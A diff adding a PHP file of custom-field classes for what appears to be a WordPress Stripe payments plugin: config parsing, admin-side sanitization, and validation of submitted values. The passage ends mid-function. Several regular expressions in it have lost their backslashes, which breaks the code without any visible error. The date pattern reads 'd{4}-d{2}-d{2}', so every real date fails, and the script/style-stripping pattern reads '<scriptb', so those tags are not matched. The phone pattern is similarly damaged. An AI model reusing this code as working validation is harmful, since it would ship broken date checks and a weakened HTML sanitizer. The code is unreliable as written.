@@ -0,0 +1,1118 @@
+<?php
+
+/**
+ * Normalized definition of a single custom field.
+ *
+ * Produced by {@see MM_WPFS_CustomFields::parse()} from either the legacy
+ * `{{`-delimited label format or the JSON v1 configuration format. This is the
+ * authoritative, type-aware description used for rendering, validation and
+ * snapshot generation.
+ */
+class MM_WPFS_CustomFieldDef {
+
+	/** @var string Stable identifier (e.g. cf_ab12cd34, or cf_legacy_0). */
+	public $id = '';
+	/** @var string One of the MM_WPFS_CustomFields::TYPE_* constants. */
+	public $type = 'text';
+	/** @var string Public, localizable label. */
+	public $label = '';
+	/** @var bool Whether a value is required on submission. */
+	public $required = false;
+	/** @var string Optional placeholder. */
+	public $placeholder = '';
+	/** @var string Optional description rendered below the control. */
+	public $description = '';
+	/** @var array<int, array{label:string, value:string}> Options for select/multiselect. */
+	public $options = [];
+	/** @var array<string, mixed> Type specific settings (rows, maxLength, min, max, step, minDate, maxDate). */
+	public $settings = [];
+	/** @var string Admin-only title for html blocks (sortable list management). */
+	public $title = '';
+	/** @var string Sanitized html content for html blocks. */
+	public $content = '';
+
+	public function isInteractive(): bool {
+		return MM_WPFS_CustomFields::isInteractive( $this->type );
+	}
+
+	public function isOption(): bool {
+		return MM_WPFS_CustomFields::isOption( $this->type );
+	}
+
+	public function isMultiValue(): bool {
+		return MM_WPFS_CustomFields::isMultiValue( $this->type );
+	}
+
+	/**
+	 * @param string $key
+	 * @param mixed  $default
+	 *
+	 * @return mixed
+	 */
+	public function getSetting( $key, $default = null ) {
+		return array_key_exists( $key, $this->settings ) ? $this->settings[ $key ] : $default;
+	}
+}
+
+/**
+ * Parsing, normalization, validation and value-projection for typed custom fields.
+ *
+ * The plugin stores custom field configuration in the existing `customInputs`
+ * column. Two formats are supported:
+ *
+ *  - Legacy: labels joined by `{{`. Each label becomes a `text` field whose
+ *    required flag inherits the form level `customInputRequired` value.
+ *  - JSON v1: `{"version":1,"fields":[ ... ]}` describing typed fields.
+ *
+ * Saved configuration is always authoritative: client submitted type, label,
+ * option and required information is never trusted.
+ */
+class MM_WPFS_CustomFields {
+
+	const CONFIG_VERSION = 1;
+
+	const TYPE_TEXT        = 'text';
+	const TYPE_TEXTAREA    = 'textarea';
+	const TYPE_SELECT      = 'select';
+	const TYPE_MULTISELECT = 'multiselect';
+	const TYPE_CHECKBOX    = 'checkbox';
+	const TYPE_DATE        = 'date';
+	const TYPE_NUMBER      = 'number';
+	const TYPE_PHONE       = 'phone';
+	const TYPE_HTML        = 'html';
+
+	const MAX_OPTIONS             = 20;
+	const MAX_OPTION_VALUE_LENGTH = 100;
+	const PHONE_MAX_LENGTH        = 40;
+	const DEFAULT_TEXTAREA_ROWS   = 3;
+
+	const CHECKBOX_VALUE_YES = 'yes';
+	const CHECKBOX_VALUE_NO  = 'no';
+
+	const LEGACY_ID_PREFIX = 'cf_legacy_';
+
+	/**
+	 * @return string[]
+	 */
+	public static function getSupportedTypes() {
+		return [
+			self::TYPE_TEXT,
+			self::TYPE_TEXTAREA,
+			self::TYPE_SELECT,
+			self::TYPE_MULTISELECT,
+			self::TYPE_CHECKBOX,
+			self::TYPE_DATE,
+			self::TYPE_NUMBER,
+			self::TYPE_PHONE,
+			self::TYPE_HTML,
+		];
+	}
+
+	/**
+	 * Maximum number of UTF-8 characters allowed in a public label.
+	 *
+	 * Matches the Stripe metadata key limit because labels become metadata keys.
+	 *
+	 * @return int
+	 */
+	public static function getMaxLabelLength() {
+		return MM_WPFS_Utils::STRIPE_METADATA_KEY_MAX_LENGTH;
+	}
+
+	/**
+	 * Normalize an externally supplied type string to a supported type.
+	 *
+	 * `dropdown` is accepted as an alias of `select`. Unknown types fall back to text.
+	 *
+	 * @param mixed $type
+	 *
+	 * @return string
+	 */
+	public static function normalizeType( $type ) {
+		$type = is_string( $type ) ? strtolower( trim( $type ) ) : '';
+		if ( 'dropdown' === $type ) {
+			return self::TYPE_SELECT;
+		}
+		if ( in_array( $type, self::getSupportedTypes(), true ) ) {
+			return $type;
+		}
+
+		return self::TYPE_TEXT;
+	}
+
+	/**
+	 * @param string $type
+	 *
+	 * @return bool True for every type that accepts user input (everything but html).
+	 */
+	public static function isInteractive( $type ) {
+		return self::TYPE_HTML !== $type;
+	}
+
+	/**
+	 * @param string $type
+	 *
+	 * @return bool
+	 */
+	public static function isOption( $type ) {
+		return self::TYPE_SELECT === $type || self::TYPE_MULTISELECT === $type;
+	}
+
+	/**
+	 * @param string $type
+	 *
+	 * @return bool True when the field stores an array of values.
+	 */
+	public static function isMultiValue( $type ) {
+		return self::TYPE_MULTISELECT === $type;
+	}
+
+	/**
+	 * Whether a stored customInputs value is JSON v1 configuration.
+	 *
+	 * @param mixed $customInputs
+	 *
+	 * @return bool
+	 */
+	public static function isJsonConfig( $customInputs ) {
+		if ( ! is_string( $customInputs ) ) {
+			return false;
+		}
+		$trimmed = ltrim( $customInputs );
+		if ( '' === $trimmed || '{' !== $trimmed[0] ) {
+			return false;
+		}
+		$decoded = json_decode( $trimmed, true );
+
+		return is_array( $decoded ) && isset( $decoded['fields'] ) && is_array( $decoded['fields'] );
+	}
+
+	/**
+	 * Parse a stored customInputs value into normalized field definitions.
+	 *
+	 * @param string|null $customInputs   value of the form's customInputs column
+	 * @param int         $globalRequired legacy form level customInputRequired flag
+	 *
+	 * @return MM_WPFS_CustomFieldDef[]
+	 */
+	public static function parse( $customInputs, $globalRequired = 0 ) {
+		if ( self::isJsonConfig( $customInputs ) ) {
+			return self::parseJson( $customInputs );
+		}
+
+		return self::parseLegacy( $customInputs, $globalRequired );
+	}
+
+	/**
+	 * @param string|null $customInputs
+	 * @param int         $globalRequired
+	 *
+	 * @return MM_WPFS_CustomFieldDef[]
+	 */
+	public static function parseLegacy( $customInputs, $globalRequired = 0 ) {
+		$defs = [];
+		if ( is_null( $customInputs ) || '' === $customInputs ) {
+			return $defs;
+		}
+		$labels = explode( '{{', $customInputs );
+		foreach ( $labels as $index => $label ) {
+			$def           = new MM_WPFS_CustomFieldDef();
+			$def->id       = self::LEGACY_ID_PREFIX . $index;
+			$def->type     = self::TYPE_TEXT;
+			$def->label    = $label;
+			$def->required = ( 1 == $globalRequired );
+			$defs[]        = $def;
+		}
+
+		return $defs;
+	}
+
+	/**
+	 * @param string $customInputs
+	 *
+	 * @return MM_WPFS_CustomFieldDef[]
+	 */
+	public static function parseJson( $customInputs ) {
+		$defs    = [];
+		$decoded = json_decode( $customInputs, true );
+		if ( ! is_array( $decoded ) || ! isset( $decoded['fields'] ) || ! is_array( $decoded['fields'] ) ) {
+			return $defs;
+		}
+		foreach ( $decoded['fields'] as $raw ) {
+			if ( ! is_array( $raw ) ) {
+				continue;
+			}
+			$defs[] = self::fieldDefFromArray( $raw );
+		}
+
+		return $defs;
+	}
+
+	/**
+	 * Build a definition from an already canonicalized (stored) field array.
+	 *
+	 * @param array<string, mixed> $raw
+	 *
+	 * @return MM_WPFS_CustomFieldDef
+	 */
+	protected static function fieldDefFromArray( $raw ) {
+		$type        = self::normalizeType( isset( $raw['type'] ) ? $raw['type'] : self::TYPE_TEXT );
+		$def         = new MM_WPFS_CustomFieldDef();
+		$def->type   = $type;
+		$def->id     = ( isset( $raw['id'] ) && is_string( $raw['id'] ) && '' !== $raw['id'] ) ? $raw['id'] : self::generateId();
+		$def->label  = isset( $raw['label'] ) ? (string) $raw['label'] : '';
+
+		if ( self::TYPE_HTML === $type ) {
+			$def->required = false;
+			$def->title    = isset( $raw['title'] ) ? (string) $raw['title'] : '';
+			$def->content  = isset( $raw['content'] ) ? (string) $raw['content'] : '';
+
+			return $def;
+		}
+
+		$def->required    = ! empty( $raw['required'] );
+		$def->description = isset( $raw['description'] ) ? (string) $raw['description'] : '';
+		$def->placeholder = isset( $raw['placeholder'] ) ? (string) $raw['placeholder'] : '';
+
+		if ( self::isOption( $type ) ) {
+			$def->options = self::readOptions( isset( $raw['options'] ) ? $raw['options'] : [] );
+		}
+		$def->settings = self::readSettings( $type, $raw );
+
+		return $def;
+	}
+
+	/**
+	 * @param mixed $rawOptions
+	 *
+	 * @return array<int, array{label:string, value:string}>
+	 */
+	protected static function readOptions( $rawOptions ) {
+		$options = [];
+		if ( ! is_array( $rawOptions ) ) {
+			return $options;
+		}
+		foreach ( $rawOptions as $rawOption ) {
+			if ( ! is_array( $rawOption ) ) {
+				continue;
+			}
+			$label = isset( $rawOption['label'] ) ? (string) $rawOption['label'] : '';
+			$value = isset( $rawOption['value'] ) ? (string) $rawOption['value'] : '';
+			if ( '' === $value && '' === $label ) {
+				continue;
+			}
+			$options[] = [ 'label' => $label, 'value' => $value ];
+		}
+
+		return $options;
+	}
+
+	/**
+	 * @param string               $type
+	 * @param array<string, mixed> $raw
+	 *
+	 * @return array<string, mixed>
+	 */
+	protected static function readSettings( $type, $raw ) {
+		$settings = [];
+		switch ( $type ) {
+			case self::TYPE_TEXTAREA:
+				$settings['rows'] = ( isset( $raw['rows'] ) && is_numeric( $raw['rows'] ) && (int) $raw['rows'] > 0 )
+					? (int) $raw['rows'] : self::DEFAULT_TEXTAREA_ROWS;
+				if ( isset( $raw['maxLength'] ) && is_numeric( $raw['maxLength'] ) && (int) $raw['maxLength'] > 0 ) {
+					$settings['maxLength'] = (int) $raw['maxLength'];
+				}
+				break;
+			case self::TYPE_NUMBER:
+				foreach ( [ 'min', 'max', 'step' ] as $key ) {
+					if ( isset( $raw[ $key ] ) && is_numeric( $raw[ $key ] ) ) {
+						$settings[ $key ] = $raw[ $key ] + 0;
+					}
+				}
+				break;
+			case self::TYPE_DATE:
+				foreach ( [ 'minDate', 'maxDate' ] as $key ) {
+					if ( isset( $raw[ $key ] ) && self::isValidDate( $raw[ $key ] ) ) {
+						$settings[ $key ] = $raw[ $key ];
+					}
+				}
+				break;
+		}
+
+		return $settings;
+	}
+
+	/* -------------------------------------------------------------------------
+	 * Admin save: sanitize + canonicalize
+	 * ---------------------------------------------------------------------- */
+
+	/**
+	 * Sanitize and re-encode an admin submitted configuration to canonical JSON v1.
+	 *
+	 * This is the only entry point that should touch admin supplied configuration.
+	 * It performs per-field sanitization (text labels through sanitize_text_field,
+	 * html content through wp_kses_post), generates stable ids and option values,
+	 * de-duplicates ids and option values, and enforces the field/option/label limits.
+	 *
+	 * @param mixed $raw       JSON string or decoded array from the request
+	 * @param int   $maxFields maximum number of fields allowed (0 = unlimited)
+	 *
+	 * @return string canonical JSON, or '' when there are no usable fields
+	 */
+	public static function normalizeFromAdminJson( $raw, $maxFields = 0 ) {
+		$decoded = is_string( $raw ) ? json_decode( $raw, true ) : $raw;
+		if ( ! is_array( $decoded ) ) {
+			return '';
+		}
+		if ( isset( $decoded['fields'] ) && is_array( $decoded['fields'] ) ) {
+			$fields = $decoded['fields'];
+		} elseif ( self::isList( $decoded ) ) {
+			$fields = $decoded;
+		} else {
+			$fields = [];
+		}
+		if ( empty( $fields ) ) {
+			return '';
+		}
+
+		$normalized = [];
+		$usedIds    = [];
+		foreach ( $fields as $rawField ) {
+			if ( ! is_array( $rawField ) ) {
+				continue;
+			}
+			$normalized[] = self::normalizeAdminField( $rawField, $usedIds );
+			if ( $maxFields > 0 && count( $normalized ) >= $maxFields ) {
+				break;
+			}
+		}
+		if ( empty( $normalized ) ) {
+			return '';
+		}
+
+		return wp_json_encode( [ 'version' => self::CONFIG_VERSION, 'fields' => $normalized ] );
+	}
+
+	/**
+	 * @param array<string, mixed> $rawField
+	 * @param array<string, bool>  $usedIds  reference of ids already used in this configuration
+	 *
+	 * @return array<string, mixed> canonical field array
+	 */
+	protected static function normalizeAdminField( $rawField, &$usedIds ) {
+		$type = self::normalizeType( isset( $rawField['type'] ) ? $rawField['type'] : '' );
+
+		$id = isset( $rawField['id'] ) && is_string( $rawField['id'] ) ? preg_replace( '/[^A-Za-z0-9_]/', '', $rawField['id'] ) : '';
+		if ( '' === $id || isset( $usedIds[ $id ] ) ) {
+			$id = self::generateId( $usedIds );
+		}
+		$usedIds[ $id ] = true;
+
+		$field = [ 'id' => $id, 'type' => $type ];
+
+		if ( self::TYPE_HTML === $type ) {
+			$field['title']   = self::truncate( sanitize_text_field( isset( $rawField['title'] ) ? $rawField['title'] : '' ), self::getMaxLabelLength() );
+			$field['content'] = self::sanitizeHtmlContent( isset( $rawField['content'] ) ? $rawField['content'] : '' );
+
+			return $field;
+		}
+
+		$field['label']    = self::truncate( sanitize_text_field( isset( $rawField['label'] ) ? $rawField['label'] : '' ), self::getMaxLabelLength() );
+		$field['required'] = ! empty( $rawField['required'] );
+
+		$description = sanitize_text_field( isset( $rawField['description'] ) ? $rawField['description'] : '' );
+		if ( '' !== $description ) {
+			$field['description'] = $description;
+		}
+
+		if ( self::typeSupportsPlaceholder( $type ) ) {
+			$placeholder = sanitize_text_field( isset( $rawField['placeholder'] ) ? $rawField['placeholder'] : '' );
+			if ( '' !== $placeholder ) {
+				$field['placeholder'] = $placeholder;
+			}
+		}
+
+		if ( self::isOption( $type ) ) {
+			$field['options'] = self::normalizeAdminOptions( isset( $rawField['options'] ) ? $rawField['options'] : [] );
+		}
+
+		switch ( $type ) {
+			case self::TYPE_TEXTAREA:
+				if ( isset( $rawField['rows'] ) && is_numeric( $rawField['rows'] ) && (int) $rawField['rows'] > 0 ) {
+					$field['rows'] = (int) $rawField['rows'];
+				}
+				if ( isset( $rawField['maxLength'] ) && is_numeric( $rawField['maxLength'] ) && (int) $rawField['maxLength'] > 0 ) {
+					$field['maxLength'] = min( (int) $rawField['maxLength'], MM_WPFS_Utils::STRIPE_METADATA_VALUE_MAX_LENGTH );
+				}
+				break;
+			case self::TYPE_NUMBER:
+				foreach ( [ 'min', 'max', 'step' ] as $key ) {
+					if ( isset( $rawField[ $key ] ) && is_numeric( $rawField[ $key ] ) ) {
+						$field[ $key ] = $rawField[ $key ] + 0;
+					}
+				}
+				break;
+			case self::TYPE_DATE:
+				foreach ( [ 'minDate', 'maxDate' ] as $key ) {
+					if ( isset( $rawField[ $key ] ) && self::isValidDate( $rawField[ $key ] ) ) {
+						$field[ $key ] = $rawField[ $key ];
+					}
+				}
+				break;
+		}
+
+		return $field;
+	}
+
+	/**
+	 * @param string $type
+	 *
+	 * @return bool
+	 */
+	protected static function typeSupportsPlaceholder( $type ) {
+		return in_array(
+			$type,
+			[ self::TYPE_TEXT, self::TYPE_PHONE, self::TYPE_NUMBER, self::TYPE_DATE, self::TYPE_TEXTAREA, self::TYPE_SELECT ],
+			true
+		);
+	}
+
+	/**
+	 * @param mixed $rawOptions
+	 *
+	 * @return array<int, array{label:string, value:string}>
+	 */
+	protected static function normalizeAdminOptions( $rawOptions ) {
+		$options = [];
+		if ( ! is_array( $rawOptions ) ) {
+			return $options;
+		}
+		$usedValues = [];
+		foreach ( $rawOptions as $rawOption ) {
+			if ( count( $options ) >= self::MAX_OPTIONS ) {
+				break;
+			}
+			if ( is_string( $rawOption ) ) {
+				$rawOption = [ 'label' => $rawOption, 'value' => '' ];
+			}
+			if ( ! is_array( $rawOption ) ) {
+				continue;
+			}
+			$label = self::truncate( sanitize_text_field( isset( $rawOption['label'] ) ? $rawOption['label'] : '' ), self::getMaxLabelLength() );
+			$value = self::sanitizeOptionValue( isset( $rawOption['value'] ) ? $rawOption['value'] : '' );
+			if ( '' === $label && '' === $value ) {
+				continue;
+			}
+			if ( '' === $value ) {
+				$value = self::generateOptionValue( $label );
+			}
+			$base    = '' === $value ? 'option' : $value;
+			$counter = 2;
+			while ( '' === $value || isset( $usedValues[ $value ] ) ) {
+				$suffix = '_' . $counter;
+				// Keep the de-duplicated value within the configured length limit.
+				$value = self::truncate( $base, self::MAX_OPTION_VALUE_LENGTH - strlen( $suffix ) ) . $suffix;
+				$counter++;
+			}
+			$usedValues[ $value ] = true;
+			if ( '' === $label ) {
+				$label = $value;
+			}
+			$options[] = [ 'label' => $label, 'value' => $value ];
+		}
+
+		return $options;
+	}
+
+	/**
+	 * @param mixed $value
+	 *
+	 * @return string
+	 */
+	public static function sanitizeOptionValue( $value ) {
+		$value = is_scalar( $value ) ? (string) $value : '';
+		$value = strtolower( trim( $value ) );
+		$value = preg_replace( '/[^a-z0-9_-]+/', '_', $value );
+		$value = trim( $value, '_' );
+
+		return self::truncate( $value, self::MAX_OPTION_VALUE_LENGTH );
+	}
+
+	/**
+	 * @param string $label
+	 *
+	 * @return string
+	 */
+	public static function generateOptionValue( $label ) {
+		$value = self::sanitizeOptionValue( $label );
+
+		return '' === $value ? 'option' : $value;
+	}
+
+	/**
+	 * Sanitize html block content for output.
+	 *
+	 * wp_kses_post() removes disallowed <script>/<style> tags but keeps the text
+	 * inside them, which would otherwise render as visible CSS/JS to visitors.
+	 * We strip those blocks entirely first. Inline style attributes that
+	 * wp_kses_post() permits are preserved.
+	 *
+	 * @param mixed $content
+	 *
+	 * @return string
+	 */
+	public static function sanitizeHtmlContent( $content ) {
+		$content = (string) $content;
+		$content = preg_replace( '#<scriptb[^>]*>.*?</script>#is', '', $content );
+		$content = preg_replace( '#<styleb[^>]*>.*?</style>#is', '', $content );
+		$content = preg_replace( '#</?(?:script|style)b[^>]*>#i', '', $content );
+
+		return wp_kses_post( $content );
+	}
+
+	/* -------------------------------------------------------------------------
+	 * Submission: server side validation
+	 * ---------------------------------------------------------------------- */
+
+	/**
+	 * Validate a submitted value against its definition.
+	 *
+	 * @param MM_WPFS_CustomFieldDef $def
+	 * @param mixed                  $value raw submitted value (string or array)
+	 *
+	 * @return string|null translated error message, or null when valid
+	 */
+	public static function validateSubmittedValue( $def, $value ) {
+		if ( self::TYPE_HTML === $def->type ) {
+			return null;
+		}
+
+		// Single-value field types must not receive an array (e.g. a crafted
+		// `wpfs-custom-input[id][]=...` request). Reduce to a scalar so the
+		// string casts below stay correct and never validate the literal "Array".
+		if ( self::TYPE_MULTISELECT !== $def->type && is_array( $value ) ) {
+			$value = self::firstScalarValue( $value );
+		}
+
+		$isEmpty = self::isEmptyValue( $def, $value );
+		if ( $def->required && $isEmpty ) {
+			return self::requiredError( $def );
+		}
+		if ( $isEmpty ) {
+			return null;
+		}
+
+		switch ( $def->type ) {
+			case self::TYPE_CHECKBOX:
+				return null;
+
+			case self::TYPE_SELECT:
+				if ( ! self::isValidOption( $def, $value ) ) {
+					return self::invalidError( $def );
+				}
+
+				return self::checkMetadataLength( $def, (string) $value );
+
+			case self::TYPE_MULTISELECT:
+				$values     = is_array( $value ) ? $value : [ $value ];
+				$normalized = [];
+				foreach ( $values as $single ) {
+					$single = self::firstScalarValue( $single );
+					if ( ! self::isValidOption( $def, $single ) ) {
+						return self::invalidError( $def );
+					}
+					$normalized[] = $single;
+				}
+
+				return self::checkMetadataLength( $def, implode( ', ', $normalized ) );
+
+			case self::TYPE_DATE:
+				if ( ! self::isValidDate( $value ) ) {
+					return self::invalidError( $def );
+				}
+				$minDate = $def->getSetting( 'minDate' );
+				$maxDate = $def->getSetting( 'maxDate' );
+				if ( ( $minDate && $value < $minDate ) || ( $maxDate && $value > $maxDate ) ) {
+					return self::rangeError( $def );
+				}
+
+				return self::checkMetadataLength( $def, (string) $value );
+
+			case self::TYPE_NUMBER:
+				if ( ! is_numeric( $value ) ) {
+					return self::invalidError( $def );
+				}
+				$number = $value + 0;
+				$min    = $def->getSetting( 'min' );
+				$max    = $def->getSetting( 'max' );
+				if ( ( null !== $min && $number < $min ) || ( null !== $max && $number > $max ) ) {
+					return self::rangeError( $def );
+				}
+
+				return self::checkMetadataLength( $def, (string) $value );
+
+			case self::TYPE_PHONE:
+				if ( ! self::isValidPhone( $value ) ) {
+					return self::invalidError( $def );
+				}
+
+				return self::checkMetadataLength( $def, trim( (string) $value ) );
+
+			case self::TYPE_TEXTAREA:
+				$maxLength = $def->getSetting( 'maxLength' );
+				if ( $maxLength && self::length( (string) $value ) > $maxLength ) {
+					return self::tooLongError( $def );
+				}
+
+				return self::checkMetadataLength( $def, (string) $value );
+
+			case self::TYPE_TEXT:
+			default:
+				return self::checkMetadataLength( $def, (string) $value );
+		}
+	}
+
+	/**
+	 * @param MM_WPFS_CustomFieldDef $def
+	 * @param mixed                  $value
+	 *
+	 * @return bool
+	 */
+	public static function isEmptyValue( $def, $value ) {
+		if ( self::TYPE_CHECKBOX === $def->type ) {
+			return ! self::isCheckboxChecked( $value );
+		}
+		if ( is_array( $value ) ) {
+			foreach ( $value as $single ) {
+				if ( '' !== trim( self::firstScalarValue( $single ) ) ) {
+					return false;
+				}
+			}
+
+			return true;
+		}
+
+		return '' === trim( (string) $value );
+	}
+
+	/**
+	 * @param mixed $value
+	 *
+	 * @return bool
+	 */
+	public static function isCheckboxChecked( $value ) {
+		if ( is_array( $value ) ) {
+			$value = end( $value );
+		}
+		$value = strtolower( trim( (string) $value ) );
+
+		return in_array( $value, [ '1', self::CHECKBOX_VALUE_YES, 'on', 'true' ], true );
+	}
+
+	/**
+	 * @param MM_WPFS_CustomFieldDef $def
+	 * @param mixed                  $value
+	 *
+	 * @return bool
+	 */
+	public static function isValidOption( $def, $value ) {
+		foreach ( $def->options as $option ) {
+			if ( (string) $option['value'] === (string) $value ) {
+				return true;
+			}
+		}
+
+		return false;
+	}
+
+	/**
+	 * @param mixed $value
+	 *
+	 * @return bool true for a strict YYYY-MM-DD calendar date
+	 */
+	public static function isValidDate( $value ) {
+		if ( ! is_string( $value ) || ! preg_match( '/^d{4}-d{2}-d{2}$/', $value ) ) {
+			return false;
+		}
+		$parts = explode( '-', $value );
+
+		return checkdate( (int) $parts[1], (int) $parts[2], (int) $parts[0] );
+	}
+
+	/**
+	 * Light phone validation: trim, max length and an allowed character set.
+	 *
+	 * @param mixed $value
+	 *
+	 * @return bool
+	 */
+	public static function isValidPhone( $value ) {
+		$value = trim( (string) $value );
+		if ( '' === $value || self::length( $value ) > self::PHONE_MAX_LENGTH ) {
+			return false;
+		}
+
+		return (bool) preg_match( '/^[0-9+-s()./]+$/', $value );
+	}
+
+	/* -------------------------------------------------------------------------
+	 * Submission: value projection (stored value, display value, metadata value)
+	 * ---------------------------------------------------------------------- */
+
+	/**
+	 * Normalize a raw submitted value into the value stored in the snapshot.
+	 *
+	 * @param MM_WPFS_CustomFieldDef $def
+	 * @param mixed                  $value
+	 *
+	 * @return string|string[] scalar value, or array for multiselect
+	 */
+	public static function storedValueFor( $def, $value ) {
+		switch ( $def->type ) {
+			case self::TYPE_CHECKBOX:
+				return self::isCheckboxChecked( $value ) ? self::CHECKBOX_VALUE_YES : self::CHECKBOX_VALUE_NO;
+
+			case self::TYPE_MULTISELECT:
+				$values = is_array( $value ) ? $value : [ $value ];
+				$result = [];
+				foreach ( $values as $single ) {
+					$single = self::firstScalarValue( $single );
+					if ( '' !== $single && self::isValidOption( $def, $single ) ) {
+						$result[] = $single;
+					}
+				}
+
+				return $result;
+
+			default:
+				return trim( self::firstScalarValue( $value ) );
+		}
+	}
+
+	/**
+	 * Reduce a possibly-nested array to its first scalar value as a string.
+	 *
+	 * Guards single-value field handling against crafted array submissions so
+	 * casts never trigger "Array to string conversion".
+	 *
+	 * @param mixed $value
+	 *
+	 * @return string
+	 */
+	public static function firstScalarValue( $value ) {
+		while ( is_array( $value ) ) {
+			$value = reset( $value );
+		}
+		if ( is_scalar( $value ) ) {
+			return (string) $value;
+		}
+
+		return '';
+	}
+
+	/**
+	 * Human facing display value (option labels, Yes/No, etc.).
+	 *
+	 * @param MM_WPFS_CustomFieldDef $def
+	 * @param string|string[]        $storedValue
+	 *
+	 * @return string|string[]
+	 */
+	public static function displayValueFor( $def, $storedValue ) {
+		switch ( $def->type ) {
+			case self::TYPE_CHECKBOX:
+				return self::CHECKBOX_VALUE_YES === $storedValue ? self::CHECKBOX_VALUE_YES : self::CHECKBOX_VALUE_NO;
+
+			case self::TYPE_SELECT:
+				return self::optionLabelForValue( $def, (string) $storedValue );
+
+			case self::TYPE_MULTISELECT:
+				$labels = [];
+				foreach ( (array) $storedValue as $single ) {
+					$labels[] = self::optionLabelForValue( $def, (string) $single );
+				}
+
+				return $labels;
+
+			default:
+				return is_array( $storedValue ) ? implode( ', ', $storedValue ) : (string) $storedValue;
+		}
+	}
+
+	/**
+	 * Metadata value for a stored value, or null when nothing should be sent.
+	 *
+	 * @param MM_WPFS_CustomFieldDef $def
+	 * @param string|string[]        $storedValue
+	 *
+	 * @return string|null
+	 */
+	public static function metadataValueFor( $def, $storedValue ) {
+		if ( self::TYPE_HTML === $def->type ) {
+			return null;
+		}
+		if ( self::TYPE_CHECKBOX === $def->type ) {
+			return self::CHECKBOX_VALUE_YES === $storedValue ? self::CHECKBOX_VALUE_YES : null;
+		}
+		if ( self::TYPE_MULTISELECT === $def->type ) {
+			$values = array_filter(
+				(array) $storedValue,
+				static function ( $single ) {
+					return '' !== (string) $single;
+				}
+			);
+			if ( empty( $values ) ) {
+				return null;
+			}
+
+			return implode( ', ', $values );
+		}
+		$value = is_array( $storedValue ) ? implode( ', ', $storedValue ) : (string) $storedValue;
+
+		return '' === trim( $value ) ? null : $value;
+	}
+
+	/**
+	 * @param MM_WPFS_CustomFieldDef $def
+	 * @param string                 $value
+	 *
+	 * @return string
+	 */
+	public static function optionLabelForValue( $def, $value ) {
+		foreach ( $def->options as $option ) {
+			if ( (string) $option['value'] === (string) $value ) {
+				return (string) $option['label'];
+			}
+		}
+
+		return (string) $value;
+	}
+
+	/* -------------------------------------------------------------------------
+	 * Helpers
+	 * ---------------------------------------------------------------------- */
+
+	/**
+	 * Find a definition by its stable id.
+	 *
+	 * @param MM_WPFS_CustomFieldDef[] $defs
+	 * @param string                   $id
+	 *
+	 * @return MM_WPFS_CustomFieldDef|null
+	 */
+	public static function findById( $defs, $id ) {
+		foreach ( $defs as $def ) {
+			if ( $def->id === $id ) {
+				return $def;
+			}
+		}
+
+		return null;
+	}
+
+	/**
+	 * @param MM_WPFS_CustomFieldDef[] $defs
+	 *
+	 * @return array{version:int, fields:array<int, array<string, mixed>>}
+	 */
+	public static function toConfigArray( $defs ) {
+		$fields = [];
+		foreach ( $defs as $def ) {
+			$fields[] = self::defToArray( $def );
+		}
+
+		return [ 'version' => self::CONFIG_VERSION, 'fields' => $fields ];
+	}
+
+	/**
+	 * @param MM_WPFS_CustomFieldDef[] $defs
+	 *
+	 * @return string
+	 */
+	public static function toConfigJson( $defs ) {
+		return wp_json_encode( self::toConfigArray( $defs ) );
+	}
+
+	/**
+	 * @param MM_WPFS_CustomFieldDef $def
+	 *
+	 * @return array<string, mixed>
+	 */
+	public static function defToArray( $def ) {
+		$arr = [ 'id' => $def->id, 'type' => $def->type ];
+		if ( self::TYPE_HTML === $def->type ) {
+			$arr['title']   = $def->title;
+			$arr['content'] = $def->content;
+
+			return $arr;
+		}
+		$arr['label']    = $def->label;
+		$arr['required'] = (bool) $def->required;
+		if ( '' !== (string) $def->description ) {
+			$arr['description'] = $def->description;
+		}
+		if ( '' !== (string) $def->placeholder ) {
+			$arr['placeholder'] = $def->placeholder;
+		}
+		if ( self::isOption( $def->type ) ) {
+			$arr['options'] = $def->options;
+		}
+		foreach ( $def->settings as $key => $value ) {
+			$arr[ $key ] = $value;
+		}
+
+		return $arr;
+	}
+
+	/**
+	 * Generate a stable unique field id.
+	 *
+	 * @param array<string, bool> $usedIds optional map of ids already in use
+	 *
+	 * @return string
+	 */
+	public static function generateId( $usedIds = [] ) {
+		do {
+			$id = 'cf_' . self::randomToken( 8 );
+		} while ( isset( $usedIds[ $id ] ) );
+
+		return $id;
+	}
+
+	/**
+	 * @param int $length
+	 *
+	 * @return string
+	 */
+	protected static function randomToken( $length ) {
+		$chars = '0123456789abcdefghijklmnopqrstuvwxyz';
+		$max   = strlen( $chars ) - 1;
+		$token = '';
+		for ( $i = 0; $i < $length; $i++ ) {
+			$token .= $chars[ wp_rand( 0, $max ) ];
+		}
+
+		return $token;
+	}
+
+	/**
+	 * @param mixed $value
+	 *
+	 * @return bool true when $value is a sequential (list) array
+	 */
+	protected static function isList( $value ) {
+		if ( ! is_array( $value ) ) {
+			return false;
+		}
+		if ( function_exists( 'array_is_list' ) ) {
+			return array_is_list( $value );
+		}
+		$i = 0;
+		foreach ( $value as $key => $unused ) {
+			if ( $key !== $i ) {
+				return false;
+			}
+			$i++;
+		}
+
+		return true;
+	}
+
+	/**
+	 * UTF-8 aware truncation.
+	 *
+	 * @param string $value
+	 * @param int    $length
+	 *
+	 * @return string
+	 */
+	protected static function truncate( $value, $length ) {
+		$value = (string) $value;
+		if ( function_exists( 'mb_substr' ) ) {
+			return mb_substr( $value, 0, $length );
+		}
+
+		return substr( $value, 0, $length );
+	}
+
+	/**
+	 * UTF-8 aware length.
+	 *
+	 * @param string $value
+	 *
+	 * @return int
+	 */
+	protected static function length( $value ) {
+		$value = (string) $value;
+		if ( function_exists( 'mb_strlen' ) ) {
+			return mb_strlen( $value );
+		}
+
+		return strlen( $value );
+	}
+
+	/**
+	 * @param MM_WPFS_CustomFieldDef $def
+	 * @param string                 $metadataValue
+	 *
+	 * @return string|null
+	 */
+	protected static function checkMetadataLength( $def, $metadataValue ) {
+		// Stripe's 500 limit is a character limit, so measure characters (mb_strlen via length())
+		// to match the rest of the class and the character-based admin maxLength cap, not bytes.
+		if ( self::length( (string) $metadataValue ) > MM_WPFS_Utils::STRIPE_METADATA_VALUE_MAX_LENGTH ) {
+			return self::tooLongError( $def );
+		}
+
+		return null;
+	}
+
+	/**
+	 * @param MM_WPFS_CustomFieldDef $def
+	 *
+	 * @return string
+	 */
+	protected static function localizedLabel( $def ): string {
+		return MM_WPFS_Localization::translateLabel( $def->label );
+	}
+
+	/**
+	 * @param MM_WPFS_CustomFieldDef $def
+	 *
+	 * @return string
+	 */
+	protected static function requiredError( $def ): string {
+		/* translators: %s: custom field label */
